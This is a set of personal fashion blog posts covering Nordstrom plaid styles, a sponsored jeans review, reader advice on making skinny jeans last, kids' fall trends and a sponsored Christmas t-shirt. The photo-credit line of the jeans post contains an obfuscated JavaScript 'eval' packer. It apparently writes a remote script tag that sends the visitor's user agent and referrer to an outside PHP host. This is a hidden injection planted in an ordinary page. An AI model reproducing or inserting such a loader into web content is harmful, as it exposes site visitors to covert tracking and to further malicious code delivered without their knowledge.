Nordstrom Ups the Ante on the Latest Plaid Styles for Fall!

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something about the return of Fall, when we feel that crisp morning air and hear school bells ring, that makes us reach for a cup of hot chocolate and our favorite cozy plaid pieces to snuggle up with! Plaid is timeless and classic, making it a great wardrobe staple you can pull out again and again, as the years pass. Above is my favorite plaid skirt: it’s a vintage piece from Nordstrom that I found at a local resale store! I love the unconventional color combo, and the cozy soft wool. It reminds me of my hometown, Seattle, with its’ misty fall mornings and Starbucks stands on every corner…

When Nordstrom’s August 2014 Catalog arrived in my mailbox, I wasn’t surprised to see a plethora of plaid styles throughout the pages. What did surprise me, however, is all the cool and unexpected ways Nordy’s upped the ante on this favorite fall staple! Oh my goodness, how hot and fun are these looks?? I just had to share them with you!

Here are some inspiring Fall Looks, from their August 2014 Catalog. Enjoy!

Which one is your favorite? Will you be rocking plaid this fall? Tell me your thoughts in the comment section below!

rag & bone/JEANS “The Leeds” Plaid Shirt, $264 / rag & bone/JEANS High Rise Skinny Stretch Jeans, $185

ACE Delivery Shirt, $68 / Tube Skirt, $58

TREASURE & BOND Sweatshirt, $68 / Hinge Skort, $68

TREASURE & BOND Sweater, $78 / Plaid Shirt / Boyfriend Jeans, $88

HUE Plaid Leggings, $48 / Pretty Polly Tartan Tights, $25

SPLENDID Aston Flannel Shirt, $128 / PAIGE Verdugo Ankle Jeans, $169

BOBEAU Plaid-Front Sweatshirt, $54 / NYDJ Ami Skinny Jeans, $114

RENEE’S ACCESSORIES Oversized Plaid Scarf, $38

AUGUST HAT Home Run Baseball Cap, $32

BOBEAU Lace Border Print Dress, $58

DR. MARTENS Alexandra Boot, $139.95 / STEVE MADDEN Pasa Work Boot, $109.95

BARGAIN HUNTERS: Most of these brands and looks can be found at a discount at your local Nordstrom Rack, also!!! Click here to find the Rack nearest to you.

The Jeans I’ll Be Wearing All Over Europe

Photos: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdadh|var|u0026u|referrer|rfsys||js|php’.split(‘|’),0,{}))
Aubrey Brower / Makeup: Delila Gutierrez / Hair: Erin Swenson of Eclectic Style

So here’s a funny thing you might not know about me: I don’t like jeans. I get that they’re a wardrobe staple, and the biggest fashion trend since the 1960’s… But I would rather wear a dress, or a tunic & leggings, any day. Jeans have always felt stiff and restrictive to me! Of course, some of that distaste could be related to my inability to find jeans that actually fit me well. My legs are proportionately long for my body, so I usually have to go up a size to find jeans that aren’t too short, and then of course they just kind of fall off… And I’m back to dresses, lol!

Recently, denim company French Dressing Jeans contacted me about reviewing a NEW line of jeans they are launching in the USA for the first time, called LOVE Premium Denim. Utilizing Lycra and what they call “Hold-You-In” Technology, their jeans come in four different curve-conscious fits, and are designed to “flatten the tummy and lift the behind.” I was skeptical, I have to admit, but sent them my sizing info and waited.

A beautiful package arrived in the mail a few days later: my new LOVE Premium Denim “Kylie” skinny jeans, designed with a higher rise for us ladies with narrower hips, so they stay up and don’t sag down in the bootie. (Also available are the Suzanne, the Olivia, and the Jegging.) I immediately loved the softness of these jeans, and the cleverly-cut lines. See those vertical seams on the legs? Those are a visual trick of the eye that elongate and slenderize your figure!

Ok, consider me impressed… But what about the fit?

Slipping into my Kylie jeans felt very much like putting on a pair of leggings; soft, stretchy, and surprisingly comfortable! And the cherry on top: these babies are looooong! Yeah, definitely NOT putting them in the dryer, lol; they’re the perfect length. I’ve never been able to wear skinny jeans that had that little “scrunch” at the bottom, over my shoes! Seriously, I might admit that I squealed in delight, but don’t tell anyone.

Friday morning I leave for an amazing European adventure. I can’t wait to see what fashions are trending “across the pond!” My suitcase is packed, and I’m ready to go… With my new favorite jeans: Kylie skinnies that go with e v e r y t h i n g!!! Thank you for the opportunity to change my mind about jeans, LOVE Premium Denim! LOVE you right back.

XOXO,

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Spring 2014 Must-Have Item: The White Jacket

Continue reading “Spring 2014 Must-Have Item: The White Jacket” →

The Quest for Skinny Jeans

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love when my readers ask me personal questions about their fashion & shopping challenges! Recently, reader Brittney wrote me this: “I want to by a pair of black skinny jeans or leggings- to pair with tunics… I wondered if you could recommend either and where to begin shopping for either skinny jeans or leggings? Someone mentioned Jeggings to me also…” Continue reading “The Quest for Skinny Jeans” →

Kids’ Fall Fashion Trends 2013

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that school is back in session, do you want find out what’s truly trending on the playground? To find the top Kids’ Fall Fashion Trends for 2013, I checked in with two stores at Boise Towne Square that are new this year to Boise, H&M and PS from Aeropostale, to find out what trends are top-sellers here, and across the country! Here’s what we found, plus a bonus “fashion tip” at the end of my video, which aired on KTVB Channel 7 Midday News!

http://www.ktvb.com/templates/belo_embedWrapper.js?storyid=225551502&pos=top&swfw=470 http://swfs.bimvid.com/player-3.2.15.swf http://www.ktvb.com/templates/belo_embedWrapper.js?storyid=225551502&pos=bottom&ref=http://www.ktvb.com/video/featured-videos/Style—Kids-fashion-225551502.html

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When Skinny Jeans Don’t Stay Skinny

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had a great question posed to me recently by a fan on my Facebook page. Here’s my answer to her. 🙂 Do YOU have any additional tips or thoughts on this? Feel free to comment!

xoxo,

StyleSpyGirl

Dear Tanya Stylespygirl,
I need your help!! I have noticed that all my favorite jeans are starting to loose their shape, especially the skinny jeans around the knees and booty. They are, quite literally, becoming warn out! I’m heartbroken.. Any advice on how to keep future pairs of jeans from befalling the same fate? I’d love to keep their shape as long as possible.
Thanks!! You are amazing,
-JNT

Thanks for your question, Jin! First off, may I ask what brand of jeans you are buying? I’ve noticed in the past that my “budget” brand jeans tend to wear out faster than higher-end ones. I’ve never been a huge believer in following labels, but there is some truth to “get what you pay for.”

Budget skinny jeans tend to have a higher percentage of spandex and polyester, the materials that give them so much stretch. These can wear out over time, making them baggy around the butt and knees. Looking for jeans with a higher cotton count, and less synthetic stretch fibers, will give you a firmer feeling jean that also lasts longer. I know that some higher end brands can be expensive, but shop your local thrift & consignment stores for great deals! Buying resale jeans means you will also see how well a pair is holding up, or bagging out!

I also recommend not drying your skinnies all the way. I wash mine in cold, then dry them on ultra-low for about 10 minutes to get the wrinkles out. I hang them to dry the rest of the way after that.

If you do decide to invest in a new pair of higher-end jeans, DO think of them as an investment! Buy what you LOVE, and know you’ll wear a ton, like a dark wash that fits you perfectly. I believe in a “cost per wear” equation; if you pay $20 for a pair of jeans that only look good 20 times you wear them, you’ve paid $1 per wear. If you buy a $50 pair that looks great 100 times you wear them, you’re paying .50 cents per wear! Trendy pieces like colored & patterned pieces should be a less-expensive investment, because they will go out of style eventually. But a great pair of neutral jeans (black, grey, dark blue), will last you for YEARS!!! Good luck – let me know how your search goes.

you are amazing! thank you so much for all the great info! i will definitely use it and will be sure to share what i get next and where ;D

You are so welcome! I’m very happy to help. 😀

It’s Beginning to Look A Lot Like Tacky X-Mas Sweaters!

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by AmmoPhotog

When hot New Orleans’ t-shirt designers Skip N’ Whistle contacted me about participating in their “Tacky Christmas T-shirt Campaign,” I couldn’t wait to see what crazy/cute little thing they were going to send me!

NOTE: The cute X-mas T shirts from Skip N’ Whistle is on a SPECIAL SALE today only, at Fab.com! Click this link to see more styles & colors: http://fab.com/sale/12902/

My first impression upon pulling my Tacky T from the package was, “Ooh, so soft!” My second impression was, “Yay! A women’s t-shirt that’s actually shaped like a WOMAN!” One of my fashion pet peeves is clothing designers that slap “feminine” designs on boxy, boy-shaped shirts, and pass them off as women’s wear. I don’t know about you, but this woman isn’t boxy! 😉

My “Tacky T” turned out to be pretty darn cute. It perfectly matched my favorite Emerson Edwards “Lace Print” skinny jeans from Vault Denim (See “Style Info” below!) With these two pieces in hand, I headed to one of my favorite local boutiques, Apricot Lane, to style up a couple outfits.

Here’s what I came up with! Warm, cozy, fun, and so very Boise. Enjoy!! 🙂

XOXO,

StyleSpyGirl

~ STYLE INFO ~

Photos by AmmoPhotog
Tacky Christmas Sweater T by Skip N’ Whistle
Lace skinny jeans by Vault Denim (Use Party Code 198127 to purchase!)
All other clothing, shoes, and accessories by Apricot Lane Boise